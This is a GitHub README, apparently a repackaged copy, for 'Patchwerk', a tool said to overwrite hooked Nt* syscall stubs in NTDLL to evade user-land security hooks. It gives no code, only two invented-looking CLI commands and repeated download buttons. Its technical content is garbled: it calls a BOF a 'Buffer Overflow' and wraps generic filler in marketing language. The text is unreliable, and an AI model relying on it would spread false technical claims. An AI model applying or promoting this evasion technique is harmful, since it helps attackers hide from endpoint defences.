Skip to content

BOF that finds all the Nt* system call stubs within NTDLL and overwrites with clean syscall stubs (user land hook evasion)

Notifications You must be signed in to change notification settings

Daelanthony/patchwerk

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 

Repository files navigation

πŸ› οΈ Patchwerk

Download CLI 1.0.0

Welcome to Patchwerk! This repository houses a Buffer Overflow (BOF) project designed to find all the Nt* system call stubs within NTDLL and overwrite them with clean syscall stubs. This technique serves as a user land hook evasion method – a process that is essential for certain security-related operations.

Overview πŸ“‹

Patchwerk is an innovative tool created to enhance the security and evasion capabilities in the realm of system call management. By strategically targeting and modifying specific system call stubs, Patchwerk ensures a seamless process that ensures user land hook evasion. This repository encapsulates the essence of technical expertise and security advancements that are vital in navigating modern cybersecurity challenges.

Features πŸš€

  • Identification of Nt* system call stubs within NTDLL
  • Overwriting of identified stubs with clean syscall stubs
  • User land hook evasion mechanism
  • Enhanced security through system call modification techniques
  • Cutting-edge approach to cybersecurity challenges

Installation πŸ› οΈ

To get started with Patchwerk, follow these simple steps:

  1. Clone the Patchwerk repository to your local machine.
  2. Compile the source code using a compatible compiler.
  3. Execute the compiled binary on the target system.

That's it! You are now ready to explore the advanced capabilities of Patchwerk and experience the benefits it offers in the realm of system call management and security.

Usage πŸ–₯️

Patchwerk can be utilized in various scenarios, such as penetration testing, security research, and system call modification experiments. Make sure to adhere to the legal and ethical guidelines while using Patchwerk to uphold the integrity of your security practices.

Here's a glimpse of how Patchwerk can be used:

$ ./patchwerk --find-stubs
$ ./patchwerk --overwrite-stubs

Explore the different options and functionalities provided by Patchwerk to optimize your cybersecurity strategies and techniques.

Contributing 🀝

Contributions to Patchwerk are highly valued and appreciated. If you have an idea for enhancing the functionality, improving the codebase, or adding new features, feel free to submit a pull request. Together, we can make Patchwerk even more robust and effective in addressing the evolving cybersecurity landscape.

Support ℹ️

If you encounter any issues or have questions regarding Patchwerk, please reach out to the maintainers through the GitHub repository. Your feedback and insights are essential in improving the overall quality and reliability of Patchwerk for all users.

License πŸ“œ

The Patchwerk project is licensed under the MIT License, allowing users to utilize, modify, and distribute the software in accordance with the specified terms. For more details, refer to the license file included in the repository.


πŸ”— For more information and to download Patchwerk, click the button below:

Download Patchwerk

🌐 Visit the Patchwerk Releases section for additional resources and updates.